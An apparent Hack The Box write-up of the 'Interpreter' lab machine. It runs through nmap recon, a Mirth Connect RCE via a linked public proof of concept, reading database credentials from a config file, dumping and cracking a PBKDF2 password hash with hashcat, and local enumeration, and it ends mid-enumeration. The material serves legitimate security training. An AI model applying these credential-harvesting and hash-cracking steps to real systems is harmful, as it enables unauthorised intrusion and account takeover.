HTB-Box: Interpreter [MEDIUM]

We’re kicking off Hack The Box Season 10 with the Interpreter a medium machine. Let’s dive in and break it down step by step.

We’re kicking off Hack The Box Season 10 with the Interpreter a medium machine. Let’s dive in and break it down step by step.

Initial Recon

First things first — an nmap scan on the target IP:

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/Interpreter]
└─$ nmap -sS -T4 -n 10.129.2.192
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-23 12:46 IST
Nmap scan report for 10.129.2.192
Host is up (0.35s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
 
Nmap done: 1 IP address (1 host up) scanned in 3.32 seconds
 
┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/Interpreter]
└─$ nmap -sVC -p 22,80,443 10.129.2.192
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-23 12:46 IST
Nmap scan report for 10.129.2.192
Host is up (0.48s latency).
 
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp  open  http     Jetty
|_http-title: Mirth Connect Administrator
| http-methods:
|_  Potentially risky methods: TRACE
443/tcp open  ssl/http Jetty
| http-methods:
|_  Potentially risky methods: TRACE
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
|_http-title: Mirth Connect Administrator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.56 seconds

Results

22/tcp → SSH (OpenSSH 9.2p1 Debian)
80/tcp → Jetty (Java server)
443/tcp - https

I first check out http page which was "Mirth-administrator page". For there i download the two attachments "mirth-administrator-launcher-latest-unix.sh" and "webstart.jlnp". After wasting 20min on them I search Mirth-administrator , I found CVE-2023-43208

CVE-2023-43208

Score : 9.8 (Critical)
Exploitation : Attackers can execute arbitrary code on the target system without authentication, simply by sending a crafted HTTP request

I found a github POC : https://github.com/vedant-joshi-og/CVE-2023-43208-EXPLOIT

So , yes using this I got shell of mirth.

i quick run find cmd to check config files.

mirth@interpreter:/usr/local/mirthconnect$ find / -name mirth.properties 2>/dev/null
find / -name mirth.properties 2>/dev/null
/usr/local/mirthconnect/conf/mirth.properties
 
mirth@interpreter:/usr/local/mirthconnect$ cat conf/mirth.properties
cat conf/mirth.properties
# Mirth Connect configuration file
...bunch of data...
 
database = mysql
 
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
 
database.driver = org.mariadb.jdbc.Driver
 
database.max-connections = 20
 
database-readonly.max-connections = 20
 
database.username = mirthdb
database.password = MirthPass123!
 
...bunch of data...

Machine was running mysql database and we have username mirthdb and password MirthPass123!. So i just dump data

mirth@interpreter:/usr/local/mirthconnect$ mysqldump -u mirthdb -p "MirthPass123!" mirthdb
 
LOCK TABLES `PERSON` WRITE;
/*!40000 ALTER TABLE `PERSON` DISABLE KEYS */;
INSERT INTO `PERSON` VALUES
(2,'sedric','','','',NULL,'','','','2025-09-21 21:56:02',NULL,0,NULL,'\0',NULL,'United States',NULL,0);
/*!40000 ALTER TABLE `PERSON` ENABLE KEYS */;
UNLOCK TABLES;
 
--
-- Dumping data for table `PERSON_PASSWORD`
--
 
LOCK TABLES `PERSON_PASSWORD` WRITE;
/*!40000 ALTER TABLE `PERSON_PASSWORD` DISABLE KEYS */;
INSERT INTO `PERSON_PASSWORD` VALUES
(2,'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==','2025-09-19 13:22:28');
/*!40000 ALTER TABLE `PERSON_PASSWORD` ENABLE KEYS */;
UNLOCK TABLES;

Nice , We have hash! Let's crack that. So i search for defualt salt but there wasn't salt.

check out: https://github.com/nextgenhealthcare/connect/blob/development/core-util/src/com/mirth/commons/encryption/Digester.java

So what i need to do is :

[ 8 Bytes Salt ] + [ Remaining Password Hash ] —> transfer —> Base64 String

┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/Interpreter]
└─$ echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | xxd
00000000: bbff 8b04 1394 9da7 62c8 506c 30ea 080c  ........b.Pl0...
00000010: f2db 511d 2b93 9f64 1243 d4d7 b8ad 76b5  ..Q.+..d.C....v.
00000020: 5603 f90b 32dd f0fb                      V...2...
 
┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/Interpreter]
└─$ echo "bbff 8b04 1394 9da7" | xxd -r -p | base64
u/+LBBOUnac=
 
┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/Interpreter]
└─$ echo "62c8 506c 30ea 080cf2db 511d 2b93 9f64 1243 d4d7 b8ad 76b55603 f90b 32dd f0fb" | xxd -r -p | base64
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
 
┌──vemacitrind㉿vemacitrind-[~/Documents/hackthebox/Machine/Interpreter]
└─$ echo "sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=" > hash.txt

let's set hashcat,

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
 
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
Time.Started.....: Mon Feb 23 13:44:33 2026 (56 secs)
Time.Estimated...: Mon Feb 23 13:45:29 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:      456 H/s (11.23ms) @ Accel:10 Loops:124 Thr:512 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 25600/14344385 (0.18%)
Rejected.........: 0/25600 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599912-599999
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> johnnyd
Hardware.Mon.#01.: Temp: 89c Util: 98% Core:1594MHz Mem:3504MHz Bus:4
 
Started: Mon Feb 23 13:44:32 2026
Stopped: Mon Feb 23 13:45:30 2026

We have user :

user: sedric
password : snowflake1

I loggin to ssh start with basic checks. from sudo -l then checking `/etc/crontab' then Checking SUID file nothing interested. i check openports

 
ps aux
 
root        2173  0.0  0.0  86968  2836 ?        D<sl 09:22   0:01 /sbin/auditd
_laurel     2196  0.0  0.1   9648  6160 ?        D<   09:22   0:01 /usr/local/sbin/laurel --config /etc/laurel/config.toml
 
root        3298  0.0  0.0   5876  3636 ?        Ss   09:22   0:00 dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhc
root        3380  0.1  0.2 144612 10988 ?        Sl   09:22   0:05 /usr/sbin/vmtoolsd
root        3447  0.0  0.2  40776 11300 ?        S    09:22   0:00 /usr/lib/vmware-vgauth/VGAuthService -s
root        3564  0.0  0.6 400212 26252 ?        Ssl  09:22   0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
mirth       3566  1.3  9.5 2883356 381568 ?      Ssl  09:22   0:47 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -server -Xmx256m -Djav
root        3567  0.0  0.7  39872 31364 ?        Ss   09:22   0:00 /usr/bin/python3 /usr/local/bin/notif.py
root        3574  0.0  0.0   5880  1008 tty1     Ss+  09:22   0:00 /sbin/agetty -o -p -- \u --noclear - linux
root        3603  0.0  0.2  15452  8880 ?        Ss   09:22   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
mysql       3657  0.0  3.5 1415480 140584 ?      Ssl  09:22   0:00 /usr/sbin/mariadbd
root        3886  0.0  0.0      0     0 ?        I    09:34   0:00 [kworker/0:1-events]
root        3958  0.0  0.0      0     0 ?        I    09:53   0:00 [kworker/u4:1-events_unbound]
root        3961  0.0  0.2  17752 10840 ?        Ss   10:04   0:00 sshd: sedric [priv]
sedric      3964  0.0  0.2  18908 10548 ?        Ss   10:05   0:00 /lib/systemd/systemd --user
 
 
sedric@interpreter:~$ ss -tulnp
Netid       State         Recv-Q        Send-Q               Local Address:Port                Peer Address:Port       Process
udp         UNCONN        0             0                          0.0.0.0:68                       0.0.0.0:*
tcp         LISTEN        0             50                         0.0.0.0:443                      0.0.0.0:*
tcp         LISTEN        0             50                         0.0.0.0:80                       0.0.0.0:*
tcp         LISTEN        0             128                        0.0.0.0:22                       0.0.0.0:*
tcp         LISTEN        0             128                      127.0.0.1:54321                    0.0.0.0:*
tcp         LISTEN        0             80                       127.0.0.1:3306                     0.0.0.0:*
tcp         LISTEN        0             256                        0.0.0.0:6661                     0.0.0.0:*
tcp         LISTEN        0             128                           [::]:22                          [::]:*
 
root        3564  0.0  0.6 400212 26256 ?        Ssl  09:22   0:02 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        3567  0.0  0.7 113604 31664 ?        Ss   09:22   0:00 /usr/bin/python3 /usr/local/bin/notif.py